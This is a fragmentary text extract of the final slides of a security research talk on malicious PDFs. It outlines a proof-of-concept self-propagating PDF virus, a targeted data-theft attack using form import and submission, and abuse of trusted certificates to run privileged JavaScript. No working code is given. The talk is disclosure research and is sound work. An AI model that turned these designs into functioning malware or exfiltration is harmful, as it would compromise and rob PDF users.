PDF virus PoC Create malicious PDF les based on features Initial infection: distribute the malicious PDFs, corrupts others Propagation: each time Reader is run, a JavaScript in run (privileged context), and can open malicious PDF in a hidden window
Check whether the Reader is already corrupted (and try to infect the system if needed) Check whether the PDF is already corrupted (and infect it otherwise) Connect to a master site, and may download a PDF virus update if needed
102/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Roadmap
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Origami #1: PDF based virus Origami #2: multi-stages targeted operation Last words
103/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Before starting PDF are natural in any system and network environments PDF are naturally well suited to bypass detection PDF are a good communication way Constraint The attack must require no privilege others than standard user
104/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Data theft in PDF Contaminate the target: send a poisoned PDF Data theft: exporting the precious les
The attacker builds a PDF with both an ImportData + SubmitForm The PDF is sent to the target: attacker just have to wait for the target to open the malicious PDF
105/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Add attackers certicate into the local user store with full trusting privileges
Attackers certied documents can use privileged JavaScript
F. Raynal & G. Delugr (Sogeti/ESEC) e Malicious origami in PDF 107/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
109/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
111/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Origami #1: PDF based virus Origami #2: multi-stages targeted operation
Summary
A matter of version Able to sign PDFs with Adobes certicate With Adobe Reader 8:
Can read any le thanks to external stream Can run embedded jar les
112/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Roadmap
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
113/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Conclusion
PDF, a new security risk? PDF is still considered harmless by most of people Malicious PDF are (almost) OS-independent A word about the readers Adobe Reader: each version has new (useful?) features. . .
Obvious security is well handled . . . even if too much security conguration is still at user level Blacklist security
Foxit: many features are supported. . . with no security at all Preview, poppler: minimalist viewers with few supported features
114/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Other ideas The JavaScript engine, with its undocumented functions The embedded browser, so oldish XFA forms Unclear conguration features (e.g. user rights) Embedding postscript programs Playing with multimedia and caches IE / Firefox plug-ins ...
115/116
PDF 101 The PDF way of security Thinking malicious PDF Darth Origami: dark side of PDF Last words
Q & (hopefully) A
Slides available for download (in PDF of course ;-): http://security-labs.org/fred/ Eric Filiol, my padawans at Sogeti/ESEC, my boss at Sogeti/ESEC, Pierre-Marc Bureau and Master Yoda Special THANKS to the translators team, Tomoyuki Sakurai and David Thiel for the japanese version of these slides
116/116